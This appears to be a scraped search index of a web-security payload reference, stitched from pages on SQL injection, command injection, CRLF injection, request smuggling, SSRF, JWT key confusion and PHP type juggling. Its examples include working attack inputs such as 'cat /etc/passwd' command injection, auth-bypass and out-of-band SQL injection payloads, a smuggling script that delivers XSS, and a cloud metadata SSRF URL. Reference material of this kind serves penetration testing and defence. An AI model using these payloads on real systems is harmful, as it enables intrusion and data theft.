ViewState in IIS is a technique used to retain the state of web controls between postbacks in ASP.NET applications. It stores data in a hidden field on the page, allowing the page to maintain user input and other state information.

Format Properties Base64 EnableViewStateMac=False, ViewStateEncryptionMode=False Base64 + MAC EnableViewStateMac=True Base64 + Encrypted ViewStateEncryptionMode=True

By default until Sept 2014, the enableViewStateMac property was to set to False. Usually unencrypted viewstate are starting with the string /wEP.

"},{"location":"API%20Key%20Leaks/IIS-Machine-Keys/#machine-key-format-and-locations","title":"Machine Key Format And Locations","text":"

A machineKey in IIS is a configuration element in ASP.NET that specifies cryptographic keys and algorithms used for encrypting and validating data, such as view state and forms authentication tokens. It ensures consistency and security across web applications, especially in web farm environments.

The format of a machineKey is the following.

<machineKey validationKey=\"[String]\"  decryptionKey=\"[String]\" validation=\"[SHA1 (default) | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]\"  decryption=\"[Auto (default) | DES | 3DES | AES | alg:algorithm_name]\" />\n

The validationKey attribute specifies a hexadecimal string used to validate data, ensuring it hasn't been tampered with.

The decryptionKey attribute provides a hexadecimal string used to encrypt and decrypt sensitive data.

The validation attribute defines the algorithm used for data validation, with options like SHA1, MD5, 3DES, AES, and HMACSHA256, among others.

The decryption attribute specifies the encryption algorithm, with options like Auto, DES, 3DES, and AES, or you can specify a custom algorithm using alg:algorithm_name.

The following example of a machineKey is from Microsoft documentation (https://docs.microsoft.com/en-us/iis/troubleshoot/security-issues/troubleshooting-forms-authentication).

<machineKey validationKey=\"87AC8F432C8DB844A4EFD024301AC1AB5808BEE9D1870689B63794D33EE3B55CDB315BB480721A107187561F388C6BEF5B623BF31E2E725FC3F3F71A32BA5DFC\" decryptionKey=\"E001A307CCC8B1ADEA2C55B1246CDCFE8579576997FF92E7\" validation=\"SHA1\" />\n

Multi-Factor Authentication (MFA) is a security measure that requires users to provide two or more verification factors to gain access to a system, application, or network. It combines something the user knows (like a password), something they have (like a phone or security token), and/or something they are (biometric verification). This layered approach enhances security by making unauthorized access more difficult, even if a password is compromised. MFA Bypasses are techniques attackers use to circumvent MFA protections. These methods can include exploiting weaknesses in MFA implementations, intercepting authentication tokens, leveraging social engineering to manipulate users or support staff, or exploiting session-based vulnerabilities.

Business logic errors, also known as business logic flaws, are a type of application vulnerability that stems from the application's business logic, which is the part of the program that deals with real-world business rules and processes. These rules could include things like pricing models, transaction limits, or the sequences of operations that need to be followed in a multi-step process.

Unlike other types of security vulnerabilities like SQL injection or cross-site scripting (XSS), business logic errors do not rely on problems in the code itself (like unfiltered user input). Instead, they take advantage of the normal, intended functionality of the application, but use it in ways that the developer did not anticipate and that have undesired consequences.

CRLF Injection is a web security vulnerability that arises when an attacker injects unexpected Carriage Return (CR) (\\r) and Line Feed (LF) (\\n) characters into an application. These characters are used to signify the end of a line and the start of a new one in network protocols like HTTP, SMTP, and others. In the HTTP protocol, the CR-LF sequence is always used to terminate a line.

HTTP Response Splitting is a security vulnerability where an attacker manipulates an HTTP response by injecting Carriage Return (CR) and Line Feed (LF) characters (collectively called CRLF) into a response header. These characters mark the end of a header and the start of a new line in HTTP responses.

CRLF Characters:

By injecting a CRLF sequence, the attacker can break the response into two parts, effectively controlling the structure of the HTTP response. This can result in various security issues, such as:

"},{"location":"CRLF%20Injection/#session-fixation","title":"Session Fixation","text":"

A typical HTTP response header looks like this:

HTTP/1.1 200 OK\nContent-Type: text/html\nSet-Cookie: sessionid=abc123\n

If user input value\\r\\nSet-Cookie: admin=true is embedded into the headers without sanitization:

HTTP/1.1 200 OK\nContent-Type: text/html\nSet-Cookie: sessionid=value\nSet-Cookie: admin=true\n

Now the attacker has set their own cookie.

Beside the session fixation that requires a very insecure way of handling user session, the easiest way to exploit a CRLF injection is to write a new body for the page. It can be used to create a phishing page or to trigger an arbitrary Javascript code (XSS).

Client-Side Path Traversal (CSPT), sometimes also referred to as \"On-site Request Forgery,\" is a vulnerability that can be exploited as a tool for CSRF or XSS attacks.

It takes advantage of the client side's ability to make requests using fetch to a URL, where multiple \"../\" characters can be injected. After normalization, these characters redirect the request to a different URL, potentially leading to security breaches.

Since every request is initiated from within the frontend of the application, the browser automatically includes cookies and other authentication mechanisms, making them available for exploitation in these attacks.

Command injection, also known as shell injection, is a type of attack in which the attacker can execute arbitrary commands on the host operating system via a vulnerable application. This vulnerability can exist when an application passes unsafe user-supplied data (forms, cookies, HTTP headers, etc.) to a system shell. In this context, the system shell is a command-line interface that processes commands to be executed, typically on a Unix or Linux system.

The danger of command injection is that it can allow an attacker to execute any command on the system, potentially leading to full system compromise.

Example of Command Injection with PHP: Suppose you have a PHP script that takes a user input to ping a specified IP address or domain:

<?php\n    $ip = $_GET['ip'];\n    system(\"ping -c 4 \" . $ip);\n?>\n

In the above code, the PHP script uses the system() function to execute the ping command with the IP address or domain provided by the user through the ip GET parameter.

If an attacker provides input like 8.8.8.8; cat /etc/passwd, the actual command that gets executed would be: ping -c 4 8.8.8.8; cat /etc/passwd.

This means the system would first ping 8.8.8.8 and then execute the cat /etc/passwd command, which would display the contents of the /etc/passwd file, potentially revealing sensitive information.

Gain a command execution when you can only append arguments to an existing command. Use this website Argument Injection Vectors - Sonar to find the argument to inject to gain command execution.

Argument injection can be abused using the worstfit technique.

$url = \"https://example.tld/\" . $_GET['path'] . \".txt\";\nsystem(\"wget.exe -q \" . escapeshellarg($url));\n

Setup Phase:

Initial Victim Interaction:

Initial DNS Resolution:

Rebinding to Internal IP:

This is often achieved by setting a very short TTL (time-to-live) for the initial DNS response, forcing the browser to re-resolve the domain.

Same-Origin Exploitation:

The browser treats subsequent responses as coming from the same origin (malicious.com).

Malicious JavaScript running in the victim's browser can now make requests to internal IP addresses or local services (e.g., 192.168.1.1 or 127.0.0.1), bypassing same-origin policy restrictions.

Example:

  1. Register a domain.
  2. Setup Singularity of Origin.
  3. Edit the autoattack HTML page for your needs.

Some tools allow to additionally block localhost (127.0.0.0/8), local (internal) networks, or 0.0.0.0/0 network ranges.

An alternative of this technique would be to fill a file used by the application until it reaches the maximum size allowed by the filesystem, for example it can occur on a SQLite database or a log file.

FAT32 has a significant limitation of 4 GB, which is why it's often replaced with exFAT or NTFS for larger files.

File Inclusion Vulnerability should be differentiated from Path Traversal. The Path Traversal vulnerability allows an attacker to access a file, usually exploiting a \"reading\" mechanism implemented in the target application, when the File Inclusion will lead to the execution of arbitrary code.

Consider a PHP script that includes a file based on user input. If proper sanitization is not in place, an attacker could manipulate the page parameter to include local or remote files, leading to unauthorized access or code execution.

<?php\n$file = $_GET['page'];\ninclude($file);\n?>\n

Query batching is a feature of GraphQL that allows multiple queries to be sent to the server in a single HTTP request. Instead of sending each query in a separate request, the client can send an array of queries in a single POST request to the GraphQL server. This reduces the number of HTTP requests and can improve the performance of the application.

Query batching works by defining an array of operations in the request body. Each operation can have its own query, variables, and operation name. The server processes each operation in the array and returns an array of responses, one for each query in the batch.

[\n    {\n        \"query\":\"...\"\n    },{\n        \"query\":\"...\"\n    }\n    ,{\n        \"query\":\"...\"\n    }\n    ,{\n        \"query\":\"...\"\n    }\n    ...\n]\n

HTTP Parameter Pollution (HPP) is a Web attack evasion technique that allows an attacker to craft a HTTP request in order to manipulate web logics or retrieve hidden information. This evasion technique is based on splitting an attack vector between multiple instances of a parameter with the same name (?param1=value&param1=value). As there is no formal way of parsing HTTP parameters, individual web technologies have their own unique way of parsing and reading URL parameters with the same name. Some taking the first occurrence, some taking the last occurrence, and some reading it as an array. This behavior is abused by the attacker in order to bypass pattern-based security mechanisms.

PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.

Insecure Direct Object References (IDOR) is a security vulnerability that occurs when an application allows users to directly access or modify objects (such as files, database records, or URLs) based on user-supplied input, without sufficient access controls. This means that if a user changes a parameter value (like an ID) in a URL or API request, they might be able to access or manipulate data that they aren\u2019t authorized to see or modify.

IDOR stands for Insecure Direct Object Reference. It's a type of security vulnerability that arises when an application provides direct access to objects based on user-supplied input. As a result, attackers can bypass authorization and access resources in the system directly, potentially leading to unauthorized information disclosure, modification, or deletion.

Example of IDOR

Imagine a web application that allows users to view their profile by clicking a link https://example.com/profile?user_id=123:

<?php\n    $user_id = $_GET['user_id'];\n    $user_info = get_user_info($user_id);\n    ...\n

Here, user_id=123 is a direct reference to a specific user's profile. If the application doesn't properly check that the logged-in user has the right to view the profile associated with user_id=123, an attacker could simply change the user_id parameter to view other users' profiles:

Insecure Management Interface refers to vulnerabilities in administrative interfaces used for managing servers, applications, databases, or network devices. These interfaces often control sensitive settings and can have powerful access to system configurations, making them prime targets for attackers.

Insecure Management Interfaces may lack proper security measures, such as strong authentication, encryption, or IP restrictions, allowing unauthorized users to potentially gain control over critical systems. Common issues include using default credentials, unencrypted communications, or exposing the interface to the public internet.

Many random number generators (RNGs) use the current system time (e.g., milliseconds since epoch) as a seed. This approach can be insecure because the seed value can be easily predicted, especially in automated or scripted environments.

The RNG is seeded with the current time, making it predictable for anyone who knows or can estimate the seed value. By knowing the exact time, an attacker can regenerate the correct random value, here is an example for the date 2024-11-10 13:37.

import random\nimport time\n\n# Seed based on the provided timestamp\nseed = int(time.mktime(time.strptime('2024-11-10 13:37', '%Y-%m-%d %H:%M')))\nrandom.seed(seed)\n\n# Generate the random number\nprint(random.randint(1, 100))\n

Insecure Source Code Management (SCM) can lead to several critical vulnerabilities in web applications and services. Developers often rely on SCM systems like Git and Subversion (SVN) to manage their source code versions. However, poor security practices, such as leaving .git and .svn folders in production environments exposed to the internet, can pose significant risks.

Exposing the version control system folders on a web server can lead to severe security risks, including:

The first step is to gather information about the target application. This can be done using various web reconnaissance tools and techniques.

Once a potential SCM folder is identified, check the HTTP response codes and contents. You might need to bypass .htaccess or Reverse Proxy rules.

When the applications use the same RSA key pair as their TLS web server: openssl s_client -connect example.com:443 | openssl x509 -pubkey -noout

The algorithm HS256 uses the secret key to sign and verify each message. The algorithm RS256 uses the private key to sign the message and uses the public key for authentication.

import jwt\npublic = open('public.pem', 'r').read()\nprint public\nprint jwt.encode({\"data\":\"test\"}, key=public, algorithm='HS256')\n

This behavior is fixed in the python library and will return this error jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.. You need to install the following version: pip install pyjwt==0.4.3.

A vulnerability in the Cisco node-jose open source library before 0.11.0 could allow an unauthenticated, remote attacker to re-sign tokens using a key that is embedded within the token. The vulnerability is due to node-jose following the JSON Web Signature (JWS) standard for JSON Web Tokens (JWTs). This standard specifies that a JSON Web Key (JWK) representing a public key can be embedded within the header of a JWS. This public key is then trusted for verification. An attacker could exploit this by forging valid JWS objects by removing the original signature, adding a new public key to the header, and then signing the object using the (attacker-owned) private key associated with the public key embedded in that JWS header.

A mass assignment attack is a security vulnerability that occurs when a web application automatically assigns user-supplied input values to properties or variables of a program object. This can become an issue if a user is able to modify attributes they should not have access to, like a user's permissions or an admin flag.

"},{"location":"Mass%20Assignment/#summary","title":"Summary","text":""},{"location":"Mass%20Assignment/#methodology","title":"Methodology","text":"

Mass assignment vulnerabilities are most common in web applications that use Object-Relational Mapping (ORM) techniques or functions to map user input to object properties, where properties can be updated all at once instead of individually. Many popular web development frameworks such as Ruby on Rails, Django, and Laravel (PHP) offer this functionality.

For instance, consider a web application that uses an ORM and has a user object with the attributes username, email, password, and isAdmin. In a normal scenario, a user might be able to update their own username, email, and password through a form, which the server then assigns to the user object.

However, an attacker may attempt to add an isAdmin parameter to the incoming data like so:

{\n    \"username\": \"attacker\",\n    \"email\": \"attacker@email.com\",\n    \"password\": \"unsafe_password\",\n    \"isAdmin\": true\n}\n

If the web application is not checking which parameters are allowed to be updated in this way, it might set the isAdmin attribute based on the user-supplied input, giving the attacker admin privileges

An ORM leak vulnerability occurs when sensitive information, such as database structure or user data, is unintentionally exposed due to improper handling of ORM queries. This can happen if the application returns raw error messages, debug information, or allows attackers to manipulate queries in ways that reveal underlying data.

"},{"location":"ORM%20Leak/#summary","title":"Summary","text":""},{"location":"ORM%20Leak/#django-python","title":"Django (Python)","text":"

The following code is a basic example of an ORM querying the database.

users = User.objects.filter(**request.data)\nserializer = UserSerializer(users, many=True)\n

The problem lies in how the Django ORM uses keyword parameter syntax to build QuerySets. By utilizing the unpack operator (**), users can dynamically control the keyword arguments passed to the filter method, allowing them to filter results according to their needs.

"},{"location":"ORM%20Leak/#query-filter","title":"Query filter","text":"

The attacker can control the column to filter results by. The ORM provides operators for matching parts of a value. These operators can utilize the SQL\u202fLIKE condition in generated queries, perform regex matching based on user-controlled patterns, or apply comparison operators such as\u202f< and\u202f>.

{\n    \"username\": \"admin\",\n    \"password__startswith\": \"p\"\n}\n

Un-validated redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts may have a more trustworthy appearance. Un-validated redirect and forward attacks can also be used to maliciously craft a URL that would pass the application\u2019s access control check and then forward the attacker to privileged functions that they would normally not be able to access.

"},{"location":"Open%20Redirect/#summary","title":"Summary","text":""},{"location":"Open%20Redirect/#methodology","title":"Methodology","text":"

An open redirect vulnerability occurs when a web application or server uses unvalidated, user-supplied input to redirect users to other sites. This can allow an attacker to craft a link to the vulnerable site which redirects to a malicious site of their choosing.

Attackers can leverage this vulnerability in phishing campaigns, session theft, or forcing a user to perform an action without their consent.

Example: A web application has a feature that allows users to click on a link and be automatically redirected to a saved preferred homepage. This might be implemented like so:

https://example.com/redirect?url=https://userpreferredsite.com\n

An attacker could exploit an open redirect here by replacing the userpreferredsite.com with a link to a malicious website. They could then distribute this link in a phishing email or on another website. When users click the link, they're taken to the malicious website.

Backtracking in regular expressions occurs when the regex engine tries to match a pattern and encounters a mismatch.

HTTP Request smuggling occurs when multiple \"things\" process a request, but differ on how they determine where the request starts/ends. This disagreement can be used to interfere with another user's request/response or to bypass security controls.

HTTP/2 request smuggling can occur if a machine converts your HTTP/2 request to HTTP/1.1, and you can smuggle an invalid content-length header, transfer-encoding header or new lines (CRLF) into the translated request.

On some paths, servers don't expect POST requests, and will treat them as simple GET requests, ignoring the payload, eg:

POST / HTTP/1.1\nHost: www.example.com\nContent-Length: 37\n\nGET / HTTP/1.1\nHost: www.example.com\n

could be treated as two requests when it should only be one. When the backend server responds twice, the frontend server will assume only the first response is related to this request.

To exploit this, an attacker can use JavaScript to trigger their victim to send a POST to the vulnerable site:

fetch('https://www.example.com/', {method: 'POST', body: \"GET / HTTP/1.1\\r\\nHost: www.example.com\", mode: 'no-cors', credentials: 'include'} )\n

This could be used to:

Example:

fetch('https://www.example.com/redirect', {\n    method: 'POST',\n        body: `HEAD /404/ HTTP/1.1\\r\\nHost: www.example.com\\r\\n\\r\\nGET /x?x=<script>alert(1)</script> HTTP/1.1\\r\\nX: Y`,\n        credentials: 'include',\n        mode: 'cors' // throw an error instead of following redirect\n}).catch(() => {\n        location = 'https://www.example.com/'\n})\n

This script tells the victim browser to send a POST request to www.example.com/redirect. That returns a redirect which is blocked by CORS, and causes the browser to execute the catch block, by going to www.example.com.

www.example.com now incorrectly processes the HEAD request in the POST's body, instead of the browser's GET request, and returns 404 not found with a content-length, before replying to the next misinterpreted third (GET /x?x=<script>...) request and finally the browser's actual GET request. Since the browser only sent one request, it accepts the response to the HEAD request as the response to its GET request and interprets the third and fourth responses as the body of the response, and thus executes the attacker's script.

Here, '1'='1' is always true, which means the query could return a valid user, effectively bypassing the authentication check.

In this case, the database will return an array of results because it will match every users in the table. This will produce an error in the server side since it was expecting only one result. By adding a LIMIT clause, you can restrict the number of rows returned by the query. By submitting the following payload in the username field, you will log in as the first user in the database. Additionally, you can inject a payload in the password field while using the correct username to target a specific user.

' or 1=1 limit 1 --\n

Avoid using this payload indiscriminately, as it always returns true. It could interact with endpoints that may inadvertently delete sessions, files, configurations, or database data.

In PHP, if the optional binary parameter is set to true, then the md5 digest is instead returned in raw binary format with a length of 16. Let's take this PHP code where the authentication is checking the MD5 hash of the password submitted by the user.

sql = \"SELECT * FROM admin WHERE pass = '\".md5($password,true).\"'\";\n

An attacker can craft a payload where the result of the md5($password,true) function will contain a quote and escape the SQL context, for example with ' or 'SOMETHING.

In a standard SQL query, data is retrieved from one table. The UNION operator allows multiple SELECT statements to be combined. If an application is vulnerable to SQL injection, an attacker can inject a crafted SQL query that appends a UNION statement to the original query.

Let's assume a vulnerable web application retrieves product details based on a product ID from a database:

SELECT product_name, product_price FROM products WHERE product_id = 'input_id';\n

An attacker could modify the input_id to include the data from another table like users.

1' UNION SELECT username, password FROM users --\n

After submitting our payload, the query become the following SQL:

SELECT product_name, product_price FROM products WHERE product_id = '1' UNION SELECT username, password FROM users --';\n

The 2 SELECT clauses must have the same number of columns.

Error-Based SQL Injection is a technique that relies on the error messages returned from the database to gather information about the database structure. By manipulating the input parameters of an SQL query, an attacker can make the database generate error messages. These errors can reveal critical details about the database, such as table names, column names, and data types, which can be used to craft further attacks.

For example, on a PostgreSQL, injecting this payload in a SQL query would result in an error since the LIMIT clause is expecting a numeric value.

LIMIT CAST((SELECT version()) as numeric) \n

The error will leak the output of the version().

ERROR: invalid input syntax for type numeric: \"PostgreSQL 9.5.25 on x86_64-pc-linux-gnu\"\n

Blind SQL Injection is a type of SQL Injection attack that asks the database true or false questions and determines the answer based on the application's response.

"},{"location":"SQL%20Injection/#boolean-based-injection","title":"Boolean Based Injection","text":"

Attacks rely on sending an SQL query to the database, making the application return a different result depending on whether the query returns TRUE or FALSE. The attacker can infer information based on differences in the behavior of the application.

Size of the page, HTTP response code, or missing parts of the page are strong indicators to detect whether the Boolean-based Blind SQL injection was successful.

Here is a naive example to recover the content of the @@hostname variable.

Identify Injection Point and Confirm Vulnerability : Inject a payload that evaluates to true/false to confirm SQL injection vulnerability. For example:

http://example.com/item?id=1 AND 1=1 -- (Expected: Normal response)\nhttp://example.com/item?id=1 AND 1=2 -- (Expected: Different response or error)\n

Extract Hostname Length: Guess the length of the hostname by incrementing until the response indicates a match. For example:

http://example.com/item?id=1 AND LENGTH(@@hostname)=1 -- (Expected: No change)\nhttp://example.com/item?id=1 AND LENGTH(@@hostname)=2 -- (Expected: No change)\nhttp://example.com/item?id=1 AND LENGTH(@@hostname)=N -- (Expected: Change in response)\n

Extract Hostname Characters : Extract each character of the hostname using substring and ASCII comparison:

http://example.com/item?id=1 AND ASCII(SUBSTRING(@@hostname, 1, 1)) > 64 -- \nhttp://example.com/item?id=1 AND ASCII(SUBSTRING(@@hostname, 1, 1)) = 104 -- \n

Then repeat the method to discover every characters of the @@hostname. Obviously this example is not the fastest way to obtain them. Here are a few pointers to speed it up:

Attacks rely on sending an SQL query to the database, making the application return a different result depending on whether the query returned successfully or triggered an error. In this case, we only infer the success from the server's answer, but the data is not extracted from output of the error.

Example: Using json() function in SQLite to trigger an error as an oracle to know when the injection is true or false.

' AND CASE WHEN 1=1 THEN 1 ELSE json('') END AND 'A'='A -- OK\n' AND CASE WHEN 1=2 THEN 1 ELSE json('') END AND 'A'='A -- malformed JSON\n

Time-based SQL Injection is a type of blind SQL Injection attack that relies on database delays to infer whether certain queries return true or false. It is used when an application does not display any direct feedback from the database queries but allows execution of time-delayed SQL commands. The attacker can analyze the time it takes for the database to respond to indirectly gather information from the database.

' AND SLEEP(5)/*\n' AND '1'='1' AND SLEEP(5)\n' ; WAITFOR DELAY '00:00:05' --\n
BENCHMARK(2000000,MD5(NOW()))\n

Let's see a basic example to recover the version of the database using a time based sql injection.

http://example.com/item?id=1 AND IF(SUBSTRING(VERSION(), 1, 1) = '5', BENCHMARK(1000000, MD5(1)), 0) --\n

Out-of-Band SQL Injection (OOB SQLi) occurs when an attacker uses alternative communication channels to exfiltrate data from a database. Unlike traditional SQL injection techniques that rely on immediate responses within the HTTP response, OOB SQL injection depends on the database server's ability to make network connections to an attacker-controlled server. This method is particularly useful when the injected SQL command's results cannot be seen directly or the server's responses are not stable or reliable.

Different databases offer various methods for creating out-of-band connections, the most common technique is the DNS exfiltration:

LOAD_FILE('\\\\\\\\BURP-COLLABORATOR-SUBDOMAIN\\\\a')\nSELECT ... INTO OUTFILE '\\\\\\\\BURP-COLLABORATOR-SUBDOMAIN\\a'\n

"},{"location":"SQL%20Injection/MySQL%20Injection/#wide-byte-injection-gbk","title":"Wide Byte Injection (GBK)","text":"

Wide byte injection is a specific type of SQL injection attack that targets applications using multi-byte character sets, like GBK or SJIS. The term \"wide byte\" refers to character encodings where one character can be represented by more than one byte. This type of injection is particularly relevant when the application and the database interpret multi-byte sequences differently.

The SET NAMES gbk query can be exploited in a charset-based SQL injection attack. When the character set is set to GBK, certain multibyte characters can be used to bypass the escaping mechanism and inject malicious SQL code.

Several characters can be used to triger the injection.

A lot of payloads can be created such as:

%A8%27 OR 1=1;--\n%8C%A8%27 OR 1=1--\n%bf' OR 1=1 -- --\n

Here is a PHP example using GBK encoding and filtering the user input to escape backslash, single and double quote.

function check_addslashes($string)\n{\n    $string = preg_replace('/'. preg_quote('\\\\') .'/', \"\\\\\\\\\\\\\", $string);          //escape any backslash\n    $string = preg_replace('/\\'/i', '\\\\\\'', $string);                               //escape single quote with a backslash\n    $string = preg_replace('/\\\"/', \"\\\\\\\"\", $string);                                //escape double quote with a backslash\n\n    return $string;\n}\n\n$id=check_addslashes($_GET['id']);\nmysql_query(\"SET NAMES gbk\");\n$sql=\"SELECT * FROM users WHERE id='$id' LIMIT 0,1\";\nprint_r(mysql_error());\n

Here's a breakdown of how the wide byte injection works:

For instance, if the input is ?id=1', PHP will add a backslash, resulting in the SQL query: SELECT * FROM users WHERE id='1\\'' LIMIT 0,1.

However, when the sequence %df is introduced before the single quote, as in ?id=1%df', PHP still adds the backslash. This results in the SQL query: SELECT * FROM users WHERE id='1%df\\'' LIMIT 0,1.

In the GBK character set, the sequence %df%5c translates to the character \u9023. So, the SQL query becomes: SELECT * FROM users WHERE id='1\u9023'' LIMIT 0,1. Here, the wide byte character \u9023 effectively \"eating\" the added escape charactr, allowing for SQL injection.

Therefore, by using the payload ?id=1%df' and 1=1 --+, after PHP adds the backslash, the SQL query transforms into: SELECT * FROM users WHERE id='1\u9023' and 1=1 --+' LIMIT 0,1. This altered query can be successfully injected, bypassing the intended SQL logic.

SQLmap is a powerful tool that automates the detection and exploitation of SQL injection vulnerabilities, saving time and effort compared to manual testing. It supports a wide range of databases and injection techniques, making it versatile and effective in various scenarios.

Additionally, SQLmap can retrieve data, manipulate databases, and even execute commands, providing a robust set of features for penetration testers and security analysts.

Reinventing the wheel isn't ideal because SQLmap has been rigorously developed, tested, and improved by experts. Using a reliable, community-supported tool means you benefit from established best practices and avoid the high risk of missing vulnerabilities or introducing errors in custom code.

However you should always know how SQLmap is working, and be able to replicate it manually if necessary.

The parameter --test-filter is helpful when you want to focus on specific types of SQL injection techniques or payloads.

SSRF is a security vulnerability that occurs when an attacker manipulates a server to make HTTP requests to an unintended location. This happens when the server processes user-provided URLs or IP addresses without proper validation.

Common exploitation paths:

Example: A server accepts user input to fetch a URL.

url = input(\"Enter URL:\")\nresponse = requests.get(url)\nreturn response\n

An attacker supplies a malicious input:

http://169.254.169.254/latest/meta-data/\n

The attacker first locates an input field, URL parameter, or any user-controllable part of the application that is passed into a server-side template without proper sanitization or escaping.

For example, the attacker might identify a web form, search bar, or template preview functionality that seems to return results based on dynamic user input.

"},{"location":"Server%20Side%20Template%20Injection/#inject-template-syntax","title":"Inject Template Syntax","text":"

The attacker tests the identified input field by injecting template syntax specific to the template engine in use. Different web frameworks use different template engines (e.g., Jinja2 for Python, Twig for PHP, or FreeMarker for Java).

Based on the successful response, the attacker determines which template engine is being used.

Server-Side Template Injection (SSTI) is a security vulnerability that occurs when user input is embedded into server-side templates in an unsafe manner, allowing attackers to inject and execute arbitrary code. In Java, SSTI can be particularly dangerous due to the power and flexibility of Java-based templating engines such as JSP (JavaServer Pages), Thymeleaf, and FreeMarker.

PHP is a loosely typed language, which means it tries to predict the programmer's intent and automatically converts variables to different types whenever it seems necessary. For example, a string containing only numbers can be treated as an integer or a float. However, this automatic conversion (or type juggling) can lead to unexpected results, especially when comparing variables using the '==' operator, which only checks for value equality (loose comparison), not type and value equality (strict comparison).

"},{"location":"Type%20Juggling/#summary","title":"Summary","text":""},{"location":"Type%20Juggling/#loose-comparison","title":"Loose Comparison","text":"

PHP type juggling vulnerabilities arise when loose comparison (== or !=) is employed instead of strict comparison (=== or !==) in an area where the attacker can control one of the variables being compared. This vulnerability can result in the application returning an unintended answer to the true or false statement, and can lead to severe authorization and/or authentication bugs.

PHP8 won't try to cast string into numbers anymore, thanks to the Saner string to number comparisons RFC, meaning that collision with hashes starting with 0e and the likes are finally a thing of the past! The Consistent type errors for internal functions RFC will prevent things like 0 == strcmp($_GET['username'], $password) bypasses, since strcmp won't return null and spit a warning any longer, but will throw a proper exception instead.

Magic hashes arise due to a quirk in PHP's type juggling, when comparing string hashes to integers. If a string hash starts with \"0e\" followed by only numbers, PHP interprets this as scientific notation and the hash is treated as a float in comparison operations.

The vulnerability in the following code lies in the use of a loose comparison (!=) to validate the $cookie['hmac'] against the calculated $hash.

function validate_cookie($cookie,$key){\n    $hash = hash_hmac('md5', $cookie['username'] . '|' . $cookie['expiration'], $key);\n    if($cookie['hmac'] != $hash){ // loose comparison\n        return false;\n\n    }\n    else{\n        echo \"Well done\";\n    }\n}\n

In this case, if an attacker can control the $cookie['hmac'] value and set it to a string like \"0\", and somehow manipulate the hash_hmac function to return a hash that starts with \"0e\" followed only by numbers (which is interpreted as zero), the condition $cookie['hmac'] != $hash would evaluate to false, effectively bypassing the HMAC check.

We have control over 3 elements in the cookie: - $username - username you are targeting, probably \"admin\" - $expiration - a UNIX timestamp, must be in the future - $hmac - the provided hash, \"0\"

The exploitation phase is the following: 1. Prepare a malicious cookie: The attacker prepares a cookie with $username set to the user they wish to impersonate (for example, \"admin\"), $expiration set to a future UNIX timestamp, and $hmac set to \"0\". 2. Brute force the $expiration value: The attacker then brute forces different $expiration values until the hash_hmac function generates a hash that starts with \"0e\" and is followed only by numbers. This is a computationally intensive process and might not be feasible depending on the system setup. However, if successful, this step would generate a \"zero-like\" hash.

3. Update the cookie data with the value from the bruteforce: 1539805986 - 0e772967136366835494939987377058
$cookie = [\n    'username' => 'admin',\n    'expiration' => 1539805986,\n    'hmac' => '0'\n];\n
4. In this case we assumed the key was a null string : $key = '';

Example of Web Cache Deception:

Imagine an attacker lures a logged-in victim into accessing http://www.example.com/home.php/non-existent.css

  1. The victim's browser requests the resource http://www.example.com/home.php/non-existent.css
  2. The requested resource is searched for in the cache server, but it's not found (resource not in cache).
  3. The request is then forwarded to the main server.
  4. The main server returns the content of http://www.example.com/home.php, most probably with HTTP caching headers that instruct not to cache this page.
  5. The response passes through the cache server.
  6. The cache server identifies that the file has a CSS extension.
  7. Under the cache directory, the cache server creates a directory named home.php and caches the imposter \"CSS\" file (non-existent.css) inside it.
  8. When the attacker requests http://www.example.com/home.php/non-existent.css, the request is sent to the cache server, and the cache server returns the cached file with the victim's sensitive home.php data.

WebSocket is a communication protocol that provides full-duplex communication channels over a single, long-lived connection. This enables real-time, bi-directional communication between clients (typically web browsers) and servers through a persistent connection. WebSockets are commonly used for web applications that require frequent, low-latency updates, such as live chat applications, online gaming, real-time notifications, and financial trading platforms.

"},{"location":"Web%20Sockets/#summary","title":"Summary","text":""},{"location":"Web%20Sockets/#tools","title":"Tools","text":""},{"location":"Web%20Sockets/#methodology","title":"Methodology","text":""},{"location":"Web%20Sockets/#using-wsrepl","title":"Using wsrepl","text":"

wsrepl, a tool developed by Doyensec, aims to simplify the auditing of websocket-based apps. It offers an interactive REPL interface that is user-friendly and easy to automate. The tool was developed during an engagement with a client whose web application heavily relied on WebSockets for soft real-time communication.

wsrepl is designed to provide a balance between an interactive REPL experience and automation. It is built with Python\u2019s TUI framework Textual, and it interoperates with curl\u2019s arguments, making it easy to transition from the Upgrade request in Burp to wsrepl. It also provides full transparency of WebSocket opcodes as per RFC 6455 and has an automatic reconnection feature in case of disconnects.

pip install wsrepl\nwsrepl -u URL -P auth_plugin.py\n

Moreover, wsrepl simplifies the process of transitioning into WebSocket automation. Users just need to write a Python plugin. The plugin system is designed to be flexible, allowing users to define hooks that are executed at various stages of the WebSocket lifecycle (init, on_message_sent, on_message_received, ...).

from wsrepl import Plugin\nfrom wsrepl.WSMessage import WSMessage\n\nimport json\nimport requests\n\nclass Demo(Plugin):\n    def init(self):\n        token = requests.get(\"https://example.com/uuid\").json()[\"uuid\"]\n        self.messages = [\n            json.dumps({\n                \"auth\": \"session\",\n                \"sessionId\": token\n            })\n        ]\n\n    async def on_message_sent(self, message: WSMessage) -> None:\n        original = message.msg\n        message.msg = json.dumps({\n            \"type\": \"message\",\n            \"data\": {\n                \"text\": original\n            }\n        })\n        message.short = original\n        message.long = message.msg\n\n    async def on_message_received(self, message: WSMessage) -> None:\n        original = message.msg\n        try:\n            message.short = json.loads(original)[\"data\"][\"text\"]\n        except:\n            message.short = \"Error: could not parse message\"\n\n        message.long = original\n
"},{"location":"Web%20Sockets/#using-ws-harnesspy","title":"Using ws-harness.py","text":"

Start ws-harness to listen on a web-socket, and specify a message template to send to the endpoint.

python ws-harness.py -u \"ws://dvws.local:8080/authenticate-user\" -m ./message.txt\n

The content of the message should contains the [FUZZ] keyword.

